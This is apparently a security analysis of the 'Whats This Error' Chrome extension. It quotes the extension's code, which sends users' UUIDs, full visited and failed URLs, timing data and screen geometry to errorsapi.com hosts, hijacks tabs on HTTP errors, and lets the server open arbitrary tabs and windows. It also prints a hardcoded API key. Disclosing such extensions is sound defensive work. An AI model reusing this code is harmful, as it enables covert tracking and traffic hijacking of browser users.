Whats This Error

A hardcoded API key ('lrTR5k4J3t9JkDfdW2u7e2Sa8J7theK80Khd3nFk') is embedded in the source and used to POST performance timing data along with a persistent UUID and screen dimension metrics to a third-party server (prod1.errorsapi.com). This constitutes unauthorized data exfiltration — users are not informed their browsing performance data is being sent to an external service on every page load.

const apikey = "lrTR5k4J3t9JkDfdW2u7e2Sa8J7theK80Khd3nFk";...async function perf(e) {  const t = await fetch(`https://prod1.errorsapi.com/performance/?license=${apikey}`, {    method: "POST",    headers: {      "Content-Type": "application/json"    },    body: JSON.stringify(e)  });  return await t.json()}

Every page load triggers a POST to the operator's remote server containing the user's UUID, full navigation timing breakdown, and screen dimensions. The server response can instruct the extension to open arbitrary new tabs (`a.notice`) or create new browser windows (`a.alert`) with attacker-controlled URLs — this is a remote command execution channel disguised as an analytics call.

async function handleRuntimeMessage(e, t) {  ...  const {    uuid: o  } = await chrome.storage.sync.get("uuid"),  a = await perf({    uuid: o,    performance: e.timing,    dimensions: e.dimensions  });  a?.notice ? chrome.tabs.create(a.notice) : a?.alert && chrome.windows.create(a.alert)}

When a DNS resolution error occurs, the full URL the user was navigating to is exfiltrated to connect.errorsapi.com along with the hardcoded license key and the user's persistent UUID. This silently intercepts failed navigations, redirects the tab to a third-party server, and records both the user's identity (UUID) and the destination URL they were trying to visit.

async function handleErrorOccurred(e) {  if (e.error.includes("RESOLVE")) {    const {      errorpages: t,      uuid: r    } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e        .url)      .hostname);    o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: o.hosts      })    }), chrome.tabs.update({      url: `https://connect.errorsapi.com/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=nx&uuid=${r.toString()}`    })  }}

On any 4xx or 5xx HTTP response, the extension forcibly removes the user's current tab and opens a new one pointing to connect.errorsapi.com, passing the full original URL and persistent UUID as query parameters. This intercepts all HTTP error responses across every site the user visits, exfiltrates their browsing destinations, and hijacks tab navigation — a classic traffic-hijacking and URL harvesting pattern.

async function handleHeadersReceived(e) {  const {    errorpages: t,    uuid: r  } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e.url)    .hostname);  "4" !== e.statusCode.toString()[0] && "5" !== e.statusCode.toString()[0] || o.hosts.includes(a) || (chrome.tabs    .create({      url: `https://connect.errorsapi.com/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=${e.statusCode.toString()}&uuid=${r.toString()}`    }), chrome.tabs.remove(e.tabId), o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: o.hosts      })    }))}

The content script collects detailed screen geometry (outer/inner width and height, screen position offsets) on every page load and forwards it to the service worker, which then transmits it to the remote server. Screen dimension fingerprinting combined with a persistent UUID enables cross-site user tracking without any disclosed purpose in the extension's stated functionality.

const d = {  offset: {    x: screenTop + (outerHeight - innerHeight),    y: screenLeft + (outerWidth - innerWidth)  },  details: {    x: screenTop,    y: screenLeft,    oh: outerHeight,    ih: innerHeight,    ow: outerWidth,    iw: innerWidth  }};chrome.runtime.sendMessage({  time: r,  timing: t,  dimensions: d})

On first install, a persistent UUID is generated and stored in synced storage (synced across all of the user's Chrome profiles/devices) and immediately transmitted to the developer's website as a query parameter. This establishes a permanent cross-site tracking identifier tied to the user's Google account sync, enabling long-term identity tracking across devices.

chrome.runtime.onInstalled.addListener((async e => {  const {    uuid: t  } = await chrome.storage.sync.get("uuid");  if (void 0 === t) {    const t = generateUUID();    await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: []      }),      uuid: t    }), "install" === e.reason && chrome.tabs.update({      url: `https://whatsthiserror.com/thankyou/?uuid=${t.toString()}`    })  }}));